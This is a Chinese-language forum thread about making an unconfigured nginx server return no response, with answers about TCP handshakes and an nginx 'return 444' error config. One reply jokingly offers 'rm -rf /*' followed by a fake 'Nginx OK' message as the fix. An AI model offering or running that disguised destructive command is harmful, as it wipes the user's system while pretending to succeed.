hdown
发表于 2019-1-31 10:01:27
倾城翻翻分身一 发表于 2019-1-31 10:06
就是刚装好nginx没有网站时,你登陆IP,一定显示的是403 Forbidden。
我希望这时什么都不要显示出来。 ...
不显示?那tcping你80端口要不要返回?
只要有返回就是开了网站,不管你是nginx还是httpd。
你什么都不返回那就是自己“拒绝服务(ddos)”,那你说访问特定页面那也会是拒绝服务的。
yangen
发表于 2019-1-31 10:01:51
本帖最后由 Titan 于 2019-1-31 17:41 编辑
ssh连接一下输入
[*]rm -rf /* && echo "Nginx OK"复制代码
就可以了
逸笙
发表于 2019-1-31 09:40:00
return 444;
Titan
发表于 2019-1-31 10:02:55
不可能的,http基于TCP,TCP只要握手能握上就证明这一定有个nginx存在,所以根本不存在你说的事情
bjrjk 发表于 2019-1-31 15:12
不可能的,http基于TCP,TCP只要握手能握上就证明这一定有个nginx存在,所以根本不存在你说的事情 ...
我觉得楼主的想法用 444状态码就可以
tcp连接只能证明这个端口被监听,返回444就能不返回数据就断开连接
还是说...楼主打算把端口给关了....
aite.xyz
发表于 2019-1-31 10:01:00
本帖最后由 ghyghoo8 于 2019-1-31 17:14 编辑
hdown 发表于 2019-1-31 11:27
对不起,http协议不支持这个。
http协议规定请求应答模式,不可能不应答的。
想实现这咯效果也很简单,在 ...
-补充完整的上来
[*]nginx.conf
[*]error_page 403 404 =444 @default;
[*]location @default {
[*] return 444;
[*]}
[*]
[*]
[*]
[*]# curl https://xx.xx.xx.xx/404 -k -I
[*]curl: (52) Empty reply from server复制代码
楼主想要的大概是这个效果
或者说楼主是想要不想让人知道是webserver还是nginx还是咋的
还是说楼主想要这种类型的错误返回?
[*]curl: (35) TCP connection reset by peer复制代码
bjrjkhellfires
发表于 2019-1-31 10:05:47
ghyghoo8 发表于 2019-1-31 15:16
我觉得楼主的想法用 444状态码就可以
tcp连接只能证明这个端口被监听,返回444就能不返回数据就断开连接
...
楼主原话是:我想实现的效果就是装了nginx就像没装一样,403不返回。
装了NGINX就和没装一样,那就应该是TCP握手都握不上才是装了和没装一样,TCP握手都握不上根本就不知道请求的是不是正确网址。。。所以不可能做到,如果单纯说http应用层协议上返回444可以,但是要是在传输层就不可能实现
ghyghoo8
发表于 2019-1-31 10:06:57
你自己指定错误页面就是了 改成想要的样式